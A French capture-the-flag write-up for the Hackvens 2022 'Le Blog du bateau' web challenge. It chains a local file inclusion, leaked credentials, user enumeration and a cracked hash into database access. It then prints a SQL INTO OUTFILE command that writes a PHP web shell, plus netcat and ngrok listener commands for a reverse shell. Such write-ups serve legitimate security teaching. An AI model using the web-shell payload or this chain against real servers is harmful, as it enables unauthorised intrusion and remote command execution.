Le Blog du bateau - Hackvens 2022
Web - 100 points
Commençons par nous rendre sur la page d’accueil du site fourni dans l’énoncé (https://blog.hackvens.fr/). Nous arrivons donc sur cette page :
Au premier coup d’oeil, on remarque que le site est très léger, peu de contenus fournis.
Nous allons donc faire un tour du site pour trouver un élément intéressant.
Page Blog
Page About
Sur la page about, on ne trouve rien d’intéressant. Du côté de la page blog, nous avons 5 articles avec tous le même contenu donc peu intéressant.
Nous remarquons cependant que le format de l’URL pour accéder aux différentes pages suit le modèle suivant : https://blog.hackvens.fr/?view=nomDeLaPage
Rapidement, on se rend compte qu’une LFI est réalisable ici via le paramètre view
:
En incluant le fichier robots.txt, on se rend compte qu’un répertoire appelé manager existe.
On a également un wordlist d’Username avec une indication nous informant que ça pourrait être utile.
Une fois sur la page /manager (https://blog.hackvens.fr/manager), on tombe sur ce formulaire de connexion d’un outil appelé DbNinja
.
DbNinja est une application web permettant de gérer ses bases de données MySQL.
On vas directement chercher s’il existe des credentials par défaut. On en trouve pas, cependant, on tombe sur une documentation intéressante de DbNinja qui évoque des dossiers _users
et _includes
Revenons sur notre LFI.
Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant qu'elles ne soient lues ou écrites. Nous allons donc essayer d’utiliser le filtre de conversion convert.base64-encode
afin de convertir le code de la page d’accueil en base64 et de nous l’afficher sans être interprété (étant donné qu’il s’agit d’une page PHP).
Le filtre fonctionne sur la page d’accueil. Une fois décodée, elle ne contient rien d’intéressant.
Essayons maintenant sur la page blog.php
. Une fois décodée, on tombe directement sur des identifiants.
Username : skipper
Password : Sk1pSk1pingSk1pSk1ping
Ces credentials ne fonctionnent pas sur le manager.
Essayons donc d’inclure en base64 la page d’accueil du manager DbNinja.
On trouve donc quelques éléments peut-être intéressants. On y trouve plusieurs noms de fichiers :
- _users/{$f}/userdata.php
- _includes/putes.php
- _includes/dbninja.php
- _includes/common.php
- _includes/auth.php
En incluant le fichier dbninja.php, ça nous retourne la version de l’application, ici 3.2.7.
Nous allons voir plus en détail le fichier userdata.php créé pour chaque utilisateur. Nous avons eu plus haut une courte liste d’utilisateurs. Avec Burp Suite dans l’onglet Intruder, nous avons la possibilité de modifier l’utilisateur à chaque requête afin de voir si un utilisateur existe en fonction de la réponse du site web :
Dans Payload, rentrez la liste d’utilisateurs comme ceci :
Une fois l’attaque lancée, la grosse majorité des réponses ont une longueur d’environ 2880. Cependant, on a une réponse avec une longueur d’environ 3250 pour l’utilisateur adm
.
On va donc décoder la réponse en base64 :
On tombe sur quelque chose de très intéressant, ce qui ressemble à un mot de passe chiffré en SHA1.
Une fois déchiffré, on obtient un mot de passe en clair : Supercalifragilisticexpialidocious
On aurait donc un combo adm:Supercalifragilisticexpialidocious
.
Le combo fonctionne bien sur le /manager, on tombe donc sur le panel DbNinja
En voulant accéder à la base de données, il nous est demandé de rentrer le mot de passe de l’utilisateur skipper (Sk1pSk1pingSk1pSk1ping
) :
Une fois le mot de passe entré, on peut afficher la base de données blogDuBateau
qui contient la table articles
.
Après quelques essais, on se rend compte qu’on ne peut ni UPDATE, ni DELETE…
Malgré ça, en naviguant dans le DbNinja, on a accès au “Query Editor”
qui nous permet d'effectuer des commandes SQL.
Après quelques recherches sur Google, on tombe sur cet article. Il nous explique comment à partir d’une requête SQL obtenir un shell. En utilisant la commande suivante, on créera un fichier qui nous permettra d’exécuter des commandes via le paramètre CMD :
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/doubletake.php'
Testons maintenant notre commande :
En parcourant le serveur, on remarque l’emplacement du fichier flag.txt
obtenable en exécutant le binaire getflag (utilisable via l’utilisateur skiper suite à la présence de la permission SUID).
Pour pouvoir l’exécuter, nous devons utiliser un shell TTY. Il faut donc passer sur un reverse shell.
Pour se faire et étant donné que nous ne sommes pas dans le même réseau que le serveur, nous allons utiliser NGrok :
sudo ngrok tcp 1234
nc -lvnp 1234
Sur le site web, nous avons accès au binaire /bin/nc
donc on exécute facilement notre requête :
Notre reverse shell est fonctionnel. Il nous reste simplement à exécuter le binaire getflag
pour afficher le ficher flag.txt
:
Merci de votre lecture :)